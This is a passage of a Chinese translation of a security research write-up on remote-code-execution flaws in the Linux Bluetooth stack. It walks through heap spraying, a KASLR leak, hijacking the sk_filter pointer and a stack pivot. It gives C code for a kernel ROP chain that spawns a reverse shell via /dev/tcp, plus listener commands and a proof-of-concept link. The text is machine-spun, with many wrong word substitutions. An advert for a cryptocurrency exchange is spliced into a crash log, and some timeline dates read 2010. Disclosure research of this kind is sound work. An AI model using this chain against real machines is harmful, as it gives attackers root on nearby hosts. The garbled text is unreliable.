    ...
}

为了让 amp_ctrl_lookup() 返回一个控制的结构,我们必须使用 A2MP_GETINFO_RSP 指令,将它加入到列表中。

这险些是一个完善的堆原语,由于巨细和内容可以是随便的!唯一的瑕玷就是没有合适的原语可以允许我们去释放这些分配的内存。现在看起来只有关闭 HCI 毗邻这一条路来实现释放它们,这是一个对照慢的操作。然而,要明白我们若何以一种受控的方式释放分配(例如,释放每秒钟的分配以确立破绽),我们需要破费更多的精神去关注内存治理器。注重,当我们将一个新的内存地址存储于 ctrl->assoc 之中,我们并不释放之前存储在那里的内存块。当我们笼罩它时,这个内存块的内容就会被丢失。为了行使这一行为,我们可以用一个差异巨细的分配来重写每一秒的 ctrl->assoc,一旦我们关闭了 HCI 毗邻,另一半将被释放,而我们笼罩的部门仍然被分配。

控制越界读取

以是为什么我们想要有一个堆原语?回首一下这个想法是源自于我们需要组织堆而且实现一个群,其中我们控制的内存块位于距离 struct amp_mgr 工具的一个内存块的位置。通过这种做法,我们可以控制位于偏移 0x110 处的的值,它代表了 sk_filter 指针。因此,当我们触发类型混淆时,我们可以解引用一个随便的指针。

以下基本手艺在使用 SLUB 分配器的 Ubuntu 上可以相当可靠地事情:

  1. 分配大量巨细为 128 字节的工具填充 kmalloc-128 slabs。
  2. 确立一个新的 A2MP 信道而且希望 struct amp_mgr 工具与被喷射工具相邻。
  3. 触发类型混淆而且实现一次被控的越界读取。

为了验证我们的堆喷射是乐成的,我们首先可以查询 /proc/slabinfo 为了获取受害者机械上有关 kmalloc-128 的信息:

$ sudo cat /proc/slabinfo
slabinfo - version: 2.1
, name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
...
kmalloc-128         1440   1440    128   32    1 : tunables    0    0    0 : slabdata     45     45      0
...

在堆喷射之后,我们可以再一次请求,发现 active_objs 增添了:

$ sudo cat /proc/slabinfo
...
kmalloc-128         1760   1760    128   32    1 : tunables    0    0    0 : slabdata     55     55      0
...

在上面的示例中,我们喷射了 320 个工具。现在若是我们在这些刚被喷射过的工具的周围分配 struct amp_mgr 工具,我们在实验解引用一个被控的指针(考察 RAX 的值)也允许以触发一个 panic 错误:

,

USDT跑分网

U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

,
[   58.881623] general protection fault: 0000 [,1] SMP PTI
[   58.881639] CPU: 3 PID: 568 Comm: kworker/u9:1 Not tainted 5.4.0-48-generic ,52-Ubuntu
[   58.881645] Hardware name: Acer Aspire E5-575/Ironman_SK  , BIOS V1.04 04/26/2016
[   58.881705] Workqueue: hci0 hci_rx_work [bluetooth]
[   58.881725] RIP: 0010:sk_filter_trim_cap+0x65/0x220
[   58.881734] Code: 00 00 4c 89 e6 48 89 df e8 b8 c5 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 <4c> 8b 78 18 48 89 4d b0 41 f6 47 02 08 0f 85 41 01 00 00 0f 1f 44
[   58.881740] RSP: 0018:ffffbbccc10d3ca0 EFLAGS: 00010202
[   58.881748] RAX: 4343434343434343 RBX: ffff96da38f70300 RCX: 0000000000000000
[   58.881753] RDX: 0000000000000000 RSI: ffff96da62388300 RDI: ffff96da38f70300
[   58.881758] RBP: ffffbbccc10d3d00 R08: ffff96da38f67700 R09: ffff96da68003340
[   58.881763] R10: 00000000000301c0 R11: 8075f638da96ffff R12: ffff96da62388300
[   58.881767] R13: 0000000000000000 R14: 0000000000000001 R15: 0000000000000008
[   58.881774] FS:  0000000000000000(0000) GS:ffff96da69380000(0000) knlGS:0000000000000000
[   58.881780] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   58.881785] CR2: 000055f861e4bd20 CR3: 000000024c80a001 CR4: 00000000003606e0
[   58.881790] Call Trace:
[   58.881869]  ? __l2cap_chan_add+0x88/0x1c0 [bluetooth]
[   58.881938]  l2cap_data_rcv+0x351/0x510 [bluetooth]
[   58.881995]  l2cap_data_channel+0x29f/0x470 [bluetooth]
[   58.882054]  l2cap_recv_frame+0xe5/0x300 [bluetooth]
[   58.882067]  ? __switch_to_asm+0x40/0x70
[   58.882124]  l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth]
[   58.882174]  hci_rx_work+0x186/0x360 [bluetooth]
[   58.882187]  process_one_work+0x1eb/0x3b0
[   58.882197]  worker_thread+0x4d/0x400
[   58.882207]  kthread+0x104/0x140
[   58.882215]  ? process_one_work+0x3b0/0x3b0
[   58.882223]  ? kthread_park+0x90/0x90
[   58.882233]  ret_from_fork+0x35/0x40

查看受害者机械在 RDI 存储的内存地址指向的空间,我们可以看到:

$ sudo gdb /boot/vmlinuz /proc/kcore
(gdb) x/40gx 0xffff96da38f70300
0xffff96da38f70300: 0xffff96da601e7d00  0xffffffffc0d38760
0xffff96da38f70310: 0xffff96da60de2600  0xffff96da61c13400
0xffff96da38f70320: 0x0000000000000000  0x0000000000000001
0xffff96da38f70330: 0x0000000000000000  0x0000000000000000
0xffff96da38f70340: 0xffff96da38f70340  0xffff96da38f70340
0xffff96da38f70350: 0x0000000000000000  0x0000000000000000
0xffff96da38f70360: 0xffff96da38f70360  0xffff96da38f70360
0xffff96da38f70370: 0x0000000000000000  0x0000000000000000
0xffff96da38f70380: 0xffffffffffffffff  0xffffffffffffffff
0xffff96da38f70390: 0xffffffffffffffff  0xffffffffffffffff
0xffff96da38f703a0: 0xffffffffffffffff  0xffffffffffffffff
0xffff96da38f703b0: 0xffffffffffffffff  0xffffffffffffffff
0xffff96da38f703c0: 0xffffffffffffffff  0xffffffffffffffff
0xffff96da38f703d0: 0xffffffffffffffff  0xffffffffffffffff
0xffff96da38f703e0: 0xffffffffffffffff  0xffffffffffffffff
0xffff96da38f703f0: 0xffffffffffffffff  0xffffffffffffffff
0xffff96da38f70400: 0x4141414141414141  0x4242424242424242
0xffff96da38f70410: 0x4343434343434343  0x4444444444444444
0xffff96da38f70420: 0x4545454545454545  0x4646464646464646
0xffff96da38f70430: 0x4747474747474747  0x4848484848484848

位于 0xffff96da38f70410 的值解释晰 sk_filter() 确实实验对我们喷射的位于偏移 0x10 的指针解引用,从 struct amp_mgr 看,是位于偏移 0x110。好极了!

泄露内存结构

现在我们已经有了组织堆的方式,为 BadKarma 攻击做好了准备。因此,可以完全控制 sk_filter 指针。问题是,我们应该把它指向那里?为了使这个原语有用,我们必须将它指向一个我们可以控制其内容的内存地址。这就是 BadChoice 破绽施展作用的地方。这个破绽有可能展现内存结构,并辅助我们实现控制已知地址的内存块的目的。

如前所述,为了行使未初始化的客栈变量 bug,我们必须首先发送一些差其余下令,用有趣的数据填充栈帧(例如指向堆的指针或与 ROP 链相关的 .text 段)。然后,我们可以发送存在破绽的下令来吸收数据。

通过实验一些随机的 L2CAP 下令,我们可以考察到,若是事先不使用任何特殊下令就触发 BadChoice,那么指向内核镜像的 .text 段指针就会被泄露。此外,通过发送 L2CAP_CONF_RSP 并实验事先将 A2MP 通道重新设置到L2CAP_MODE_ERTM,可以泄露偏移量为 0x110 的结构 l2cap_chan 工具的地址。该工具的巨细为 792 字节,在 kmalloc-1024 slab 中被分配。

// pahole -E -C l2cap_chan --hex bluetooth.ko
struct l2cap_chan {
    ...
    struct delayed_work {
        struct work_struct {
            /* typedef atomic_long_t -> atomic64_t */ struct {
                /* typedef s64 -> __s64 */ long long int counter;        /* 0x110   0x8 */
            } data; /* 0x110   0x8 */
            ...
        } work; /* 0x110  0x20 */
        ...
    } chan_timer; /* 0x110  0x58 */
    ...
    /* size: 792, cachelines: 13, members: 87 */
    /* sum members: 774, holes: 9, sum holes: 18 */
    /* paddings: 4, sum paddings: 16 */
    /* last cacheline: 24 bytes */
};

这个工具属于A2MP通道,可以通过损坏信道来释放它。这是很有用的,由于它允许我们在 UAF 攻击时应用相同的战略。

思量以下技巧:

  1. 泄露 struct l2cap_chan 工具的地址。
  2. 通过销毁 A2MP 信道来释放 struct l2cap_chan 工具。
  3. 重连 A2MP 信道,而且用堆原语喷射 kmalloc-1024 slab。
  4. 它可能会接纳前一个 struct l2cap_chan 工具的地址。

换句话说,属于 struct l2cap_chan 的地址现在可能属于我们了!虽然所使用的手艺异常基础,但在跑有 SLUB 分配器的 Ubuntu 上可以异常可靠地事情。一个值得担忧的问题是,当重新毗邻 A2MP 信道时,之前的 struct l2cap_chan 可能会在堆喷射接纳位置之前被新的 struct l2cap_chan 重新占用。若是是这种情形,可以使用多个毗邻,纵然另一个毗邻已经关闭,也有能力继续喷射。

注重,在 kmalloc-1024 slab 中分配工具比在 kmalloc-128 slab 中分配工具要庞大一些,由于:

  • ACL MTU 通常小于 1024 字节(可以用 hciconfig 检查)。
  • A2MP 信道的默认 MTU 值是 L2CAP_A2MP_DEFAULT_MTU=670 字节。

这两个 MTU 限制都很容易绕过。也就是说,我们可以通过将请求支解成多个 L2CAP 报文来绕过 ACL MTU 而且我们可以通过发送 L2CAP_CONF_MTU 响应并将其设置为 0xffff 字节来绕过 A2MP MTU。同样,若是没有发送请求,蓝牙规范为什么没有明确阻止剖析设置响应?

让我们实验一下这个技巧:

$ gcc -o exploit exploit.c -lbluetooth && sudo ./exploit XX:XX:XX:XX:XX:XX
[*] Opening hci device...
[*] Connecting to victim...
[+] HCI handle: 100
[*] Connecting A2MP channel...
[*] Leaking A2MP kernel stack memory...
[+] Kernel address: ffffffffad2001a4
[+] KASLR offset: 2b600000
[*] Preparing to leak l2cap_chan address...
[*] Leaking A2MP kernel stack memory...
[+] l2cap_chan address: ffff98ee5c62fc00
[*] Spraying kmalloc-1024...

请注重两个泄露的指针的最主要字节的差异之处。通过考察较高的字节,我们可以做出有凭证的预测(或查阅 Linux 文档),以确定它们是属于一个段、堆照样栈。为了确认我们确实能够接纳 struct l2cap_chan 的地址,我们可以使用以下下令检查受害者机械上的内存:

$ sudo gdb /boot/vmlinuz /proc/kcore
(gdb) x/40gx 0xffff98ee5c62fc00
0xffff98ee5c62fc00: 0x4141414141414141  0x4242424242424242
0xffff98ee5c62fc10: 0x4343434343434343  0x4444444444444444
0xffff98ee5c62fc20: 0x4545454545454545  0x4646464646464646
0xffff98ee5c62fc30: 0x4747474747474747  0x4848484848484848
...
0xffff98ee5c62fd00: 0x6161616161616161  0x6262626262626262
0xffff98ee5c62fd10: 0x6363636363636363  0x6464646464646464
0xffff98ee5c62fd20: 0x6565656565656565  0x6666666666666666
0xffff98ee5c62fd30: 0x6767676767676767  0x6868686868686868

内存内容看起来异常有希望!请注重,使用一个模式去喷射是很有用的,由于它允许我们立刻识别内存块,并领会当泛起 panic 错误时,哪些偏移量被作废引用。

把它们都放在一起

我们现在有了完成 RCE 所需的所有原语:

  1. 我们可以控制一个地址已知的内存块(称为“有用载荷”)。
  2. 我们可以泄露一个 .text 段指针,并构建一个 ROP 链,我们可以将其存储在有用负载中。
  3. 我们可以完全控制 sk_filter 字段,并将其指向我们的有用载荷。

实现 RIP 控制

让我们回首一下 sk_filter_trim_cap(),并明白为什么控制 sk_filter 是有益的。

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c
int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap)
{
    ...
    rcu_read_lock();
    filter = rcu_dereference(sk->sk_filter);
    if (filter) {
        struct sock *save_sk = skb->sk;
        unsigned int pkt_len;

        skb->sk = sk;
        pkt_len = bpf_prog_run_save_cb(filter->prog, skb);
        skb->sk = save_sk;
        err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM;
    }
    rcu_read_unlock();

    return err;
}

由于我们控制 filter 的值,我们也可以通过在负载中偏移量 0x18 处放置指针来控制 filter->prog。也就是说,这是 prog 的偏移量:

// pahole -E -C sk_filter --hex bluetooth.ko
struct sk_filter {
    ...
    struct bpf_prog *          prog;                                                 /*  0x18   0x8 */

    /* size: 32, cachelines: 1, members: 3 */
    /* sum members: 28, holes: 1, sum holes: 4 */
    /* forced alignments: 1, forced holes: 1, sum forced holes: 4 */
    /* last cacheline: 32 bytes */
} __attribute__((__aligned__(8)));

struct buf_prog 的结构是:

// pahole -E -C bpf_prog --hex bluetooth.ko
struct bpf_prog {
    ...
    unsigned int               (*bpf_func)(const void  *, const struct bpf_insn  *); /*  0x30   0x8 */
    union {
        ...
        struct bpf_insn {
            /* typedef __u8 */ unsigned char code;                           /*  0x38   0x1 */
            /* typedef __u8 */ unsigned char dst_reg:4;                      /*  0x39: 0 0x1 */
            /* typedef __u8 */ unsigned char src_reg:4;                      /*  0x39:0x4 0x1 */
            /* typedef __s16 */ short int  off;                              /*  0x3a   0x2 */
            /* typedef __s32 */ int        imm;                              /*  0x3c   0x4 */
        } insnsi[0]; /*  0x38     0 */
    };                                                                               /*  0x38     0 */

    /* size: 56, cachelines: 1, members: 20 */
    /* sum members: 50, holes: 1, sum holes: 4 */
    /* sum bitfield members: 10 bits, bit holes: 1, sum bit holes: 6 bits */
    /* last cacheline: 56 bytes */
};

函数 bpf_prog_run_save_cb()filter->prog 转达给 BPF_PROG_RUN()

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
static inline u32 __bpf_prog_run_save_cb(const struct bpf_prog *prog,
                     struct sk_buff *skb)
{
    ...
    res = BPF_PROG_RUN(prog, skb);
    ...
    return res;
}

static inline u32 bpf_prog_run_save_cb(const struct bpf_prog *prog,
                       struct sk_buff *skb)
{
    u32 res;

    migrate_disable();
    res = __bpf_prog_run_save_cb(prog, skb);
    migrate_enable();
    return res;
}

然后用 ctxprog->insnsiprog->bpf_func() 作为参数挪用 bpf_dispatcher_nop_func()

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
,define __BPF_PROG_RUN(prog, ctx, dfunc)    ({          \
    u32 ret;                            \
    cant_migrate();                         \
    if (static_branch_unlikely(&bpf_stats_enabled_key)) {       \
        ...
        ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \
        ...
    } else {                            \
        ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \
    }                               \
    ret; })

,define BPF_PROG_RUN(prog, ctx)                     \
    __BPF_PROG_RUN(prog, ctx, bpf_dispatcher_nop_func)

最后,调剂程序以 ctxprog->insnsi 作为参数挪用 prog->bpf_func() 处置程序:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf.h
static __always_inline unsigned int bpf_dispatcher_nop_func(
    const void *ctx,
    const struct bpf_insn *insnsi,
    unsigned int (*bpf_func)(const void *,
                 const struct bpf_insn *))
{
    return bpf_func(ctx, insnsi);
}

总之,我们有:

sk->sk_filter->prog->bpf_func(skb, sk->sk_filter->prog->insnsi);

由于我们可以控制 sk->sk_filter,以是我们也可以控制后面的两个解引用。这最终让我们控制了 RIP,RSI 寄存器(第二个参数)指向我们的有用载荷。

内核 Stack Pivoting

由于现在的 CPU 有 NX,以是不能能直接执行 shell 代码。然而,我们可以执行代码重用攻击,好比 ROP/JOP。固然,为了重用代码,我们必须知道它的位置,这就是为什么 KASLR 绕过是必不能少的。对于可能的攻击,ROP 通常比 JOP 更容易执行,但这需要我们重定向客栈指针 RSP。出于这个缘故原由,EXP 开发职员通常执行 JOP 来 Stack Pivot,然后以 ROP 链竣事。

这个想法是将栈指针重定向到由 ROP gadgets 组成的有用载荷中的假栈,也就是我们的 ROP 链。由于我们知道 RSI 指向我们的载荷,以是我们想把 RSI 的值移动到 RSP。让我们看看是否有一个 gadget 可以让我们这样做。

要提取 gadgets,我们可以使用以下工具:

  • extract-vmlinux 解压缩 /boot/vmlinuz
  • ROPgadget 从 vmlinux 提取 ROP gadgets。

寻找像 mov rsp, X ; ret 这样的 gadgets,我们可以看到,它们没有一个是有用的。

$ cat gadgets.txt | grep ": mov rsp.*ret"
0xffffffff8109410c : mov rsp, qword ptr [rip + 0x15bb0fd] ; pop rbx ; pop rbp ; ret
0xffffffff810940c2 : mov rsp, qword ptr [rsp] ; pop rbp ; ret
0xffffffff8108ef0c : mov rsp, rbp ; pop rbp ; ret

也许会有一些像 push rsi ; pop rsp ; ret 这样的?

$ cat gadgets.txt | grep ": push rsi.*pop rsp.*ret"
0xffffffff81567f46 : push rsi ; adc al, 0x57 ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff8156a128 : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret
0xffffffff81556cad : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff81c02ab5 : push rsi ; lcall [rbx + 0x41] ; pop rsp ; pop rbp ; ret
0xffffffff8105e049 : push rsi ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff81993887 : push rsi ; xchg eax, ecx ; lcall [rbx + 0x41] ; pop rsp ; pop r13 ; pop rbp ; ret

太好了,有许多可以使用的 gadgets。有趣的是,所有的 gadgets 都对 RBX+0x41 举行解引用,RBX+0x41 很可能是常用指令或指令序列的一部门。更详细地说,由于指令可以从 x86 中的任何字节最先,因此它们可以凭证起始字节举行差其余注释。RBX+0x41 的解引用现实上可能会阻碍我们使用 gadgets —— 也就是说,若是 RBX 在执行 bpf_func() 时没有包罗一个可写的内存地址,我们只会在执行 ROP 链之前陷入 panic 错误。幸运的是,在我们的例子中,RBX 指向 struct amp_mgr 工具,而且若是偏移量为 0x41 的字节发生更改,也不会有什么问题。

当选择 stack pivot gadget 作为 bpf_func() 的函数指针并触发它时,RSI 的值将被压入栈,然后从栈弹出,最后分配给 RSP。换句话说,栈指针将指向我们的有用载荷,一旦执行了 RET 指令,我们的 ROP 链就会启动。

static void build_payload(uint8_t data[0x400]) {
  // Fake sk_filter object starting at offset 0x300.
  *(uint64_t *)&data[0x318] = l2cap_chan_addr + 0x320;  // prog

  // Fake bpf_prog object starting at offset 0x320.
  // RBX points to the amp_mgr object.
  *(uint64_t *)&data[0x350] =
      kaslr_offset +
      PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET;  // bpf_func
  *(uint64_t *)&data[0x358] = 0xDEADBEEF;                   // rbp

  // Build kernel ROP chain that executes run_cmd() from kernel/reboot.c.
  // Note that when executing the ROP chain, the data below in memory will be
  // overwritten. Therefore, the argument should be located after the ROP chain.
  build_krop_chain((uint64_t *)&data[0x360], l2cap_chan_addr + 0x3c0);
  strncpy(&data[0x3c0], remote_command, 0x40);
}

这样,我们终于实现了 RCE。为了调试我们的 stack pivot,看看我们是否乐成,我们可以设置 *(uint64_t *)&data[0x360]=0x41414141 ,考察一个被控的 panic 错误。

内核 ROP 链执行

现在,我们可以编写一个较大的 ROP 链来取回和执行 C 载荷,或者编写一个较小的 ROP 链来允许我们运行随便下令。为了举行 PoC(看法验证),我们已经知足于一个反向 shell,因此执行一个下令就足够了。受 write-up CVE-2019-18683: Exploiting a Linux kernel vulnerability in the V4L2 subsystem 里形貌的 ROP 链的启发,我们将构建一个链,通过 /bin/bash -c /bin/bash</dev/tcp/IP/PORT 来挪用 run_cmd() 天生一个反向 shell,最后挪用 do_task_dead() 来住手内核线程。在那之后,蓝牙将不再事情。在更庞大的破绽行使中,我们将恢复执行。

为了确定这两种方式的偏移量,我们可以简朴地检查受害者机械上留存的符号:

$ sudo cat /proc/kallsyms | grep "run_cmd\|do_task_dead"
ffffffffab2ce470 t run_cmd
ffffffffab2dc260 T do_task_dead

这里,KASLR slide 值是 0x2a200000,它可以通过对 _text 符号举行grep 并减去 0xffffff81000000 盘算得出:

$ sudo cat /proc/kallsyms | grep "T _text"
ffffffffab200000 T _text

之前的两个地址减去 slide :

,define RUN_CMD 0xffffffff810ce470
,define DO_TASK_DEAD 0xffffffff810dc260

最后,我们可以用 ROPgadget 找到 pop rax ; retpop rdi ; retjmp rax 等 gadgets,然后我们可以凭证这个例子构建内核 ROP链:

static void build_krop_chain(uint64_t *rop, uint64_t cmd_addr) {
  *rop++ = kaslr_offset + POP_RAX_RET;
  *rop++ = kaslr_offset + RUN_CMD;
  *rop++ = kaslr_offset + POP_RDI_RET;
  *rop++ = cmd_addr;
  *rop++ = kaslr_offset + JMP_RAX;
  *rop++ = kaslr_offset + POP_RAX_RET;
  *rop++ = kaslr_offset + DO_TASK_DEAD;
  *rop++ = kaslr_offset + JMP_RAX;
}

这个 ROP 链应该放在假 struct bpf_prog 工具中的偏移量 0x40 处,cmd_addr 应该指向放置在内核内存中的 bash 下令。一切停当,我们终于能从受害者身上取回 root shell 了。

Proof-Of-Concept

POC 可在 https://github.com/google/security-research/tree/master/pocs/linux/bleedingtooth 上获得。

使用如下下令编译:

$ gcc -o exploit exploit.c -lbluetooth

并按如下方式执行:

$ sudo ./exploit target_mac source_ip source_port

在另一个终端中,运行:

$ nc -lvp 1337
exec bash -i 2>&0 1>&0

若是乐成,会弹出一个盘算器:

export XAUTHORITY=/run/user/1000/gdm/Xauthority
export DISPLAY=:0
gnome-calculator

偶然,受害者可能在 dmesg 打印 Bluetooth: Trailing bytes: 6 in sframe。 若是 kmalloc-128 slab 喷射没有乐成,就会发生这种情形。这种情形下,我们需要重新执行一次 EXP。关于名称 “BadKarma”,BadKarma 破绽偶然会在 sk_filter() 提早退出,例如当字段 sk_filter 为 0 时,继续执行 A2MP 吸收处置程序并发回一个 A2MP 响应包。 有趣的是,当这种情形发生时,受害者的机械并没有 panic 错误 —— 相反,攻击者的机械会陷入 panic 错误;由于,正如我们前面所领会的,A2MP 协议使用的 ERTM 实现在设计上会触发类型混淆。

时间线

2020-07-06 —— 在谷歌内部发现 BadVibes 破绽

2010-07-20 —— BadKarmaBadChoice 破绽在谷歌内部发现

2020-07-22 —— Linus Torvalds讲述了对 BlueZ 的 BadVibes 破绽的自力发现,并在 7 天时间内披露

2020-07-24 —— 讲述给 BlueZ 主要开发职员(intel)的三个 BleedingTooth 破绽的手艺细节

2020-07-29 —— Intel 将于 2010-07-31 与谷歌召开集会

2020-07-30 —— BadVibes 补丁宣布

2020-07-31 —— Intel 将披露日期定在 2020-09-01,并在 Intel 的协调下提前披露保密协议。通知方通过 kconfig 给出一个非平安性提交新闻来禁用BT_HS

2020-08-12 —— Intel 调整披露日期至 2020-10-13(距离首次讲述 90 天)

2020-09-25 —— Intel 向公共 bluetooth-next 分支提交补丁

2020-09-29 —— 补丁与 5.10 linux-next 分支合并

2020-10-13 —— 公然披露 Intel 的建议,随后披露 Google 的建议

2020-10-14 —— Intel 将推荐的牢靠版本从 5.9 修正到 5.10 内核

2020-10-15 —— Intel 删除内核升级建议

总结

从零知识最先到发现蓝牙 HCI 协议中的三个破绽,这一历程既新鲜又出乎意料。当我第一次发现 BadVibes 破绽时,我以为它只是由破绽/恶意蓝牙芯片触发的,由于这个破绽似乎太显著了。由于我没有两个带蓝牙 5 的可编程装备,我无法验证是否有可能收到这么大的播报。之后对照 Linux 与其他实现的蓝牙协议栈并阅读规范,我得出结论,我简直发现了我的第一个 RCE 破绽,我立刻去购置了另外的一台条记本电脑(令人惊讶的是,市场上没有值得信托的蓝牙 5 适配器)。通过剖析溢出,我们很快就发现需要一个分外的信息泄露破绽。仅仅两天之后,我就发现了 BadChoice,这比我想象的要快得多。在试图触发它时,我发现了 BadKarma 破绽,我最初以为它是一个会阻止 BadChoice 破绽的不幸 bug。事实证实,绕过这个破绽相当容易,而且这个破绽现实上是另一个高度严重的平安破绽。研究 Linux 蓝牙协议栈和行使 RCE 破绽具有挑战性,但也令人兴奋,稀奇是由于这是我第一次审计和调试 Linux 内核。这项事情的效果令我很喜悦,在默认情形下禁用蓝牙高速功效以削减攻击面,这也意味着删除壮大的堆原语。 此外,我将从这项研究中获得的知识转化为 syzkaller contributions,使 fuzz /dev/vhci 装备成为可能,并发现分外的 >40 个bug。只管大多数 bug 都不太可能被行使,或者远程触发,但它们允许工程师识别和修复其他弱点(Bluetooth: Fix null pointer dereference in hci_event_packet(), Bluetooth: Fix memory leak in read_adv_mon_features() or Bluetooth: Fix slab-out-of-bounds read in hci_extended_inquiry_result_evt())因此有助于拥有一个更平安、更稳固的内核。

谢谢

Dirk Göhmann

Eduardo Vela

Francis Perron

Jann Horn

上一篇 下一篇

猜你喜欢

网友评论

随机文章
热门文章
热评文章
热门标签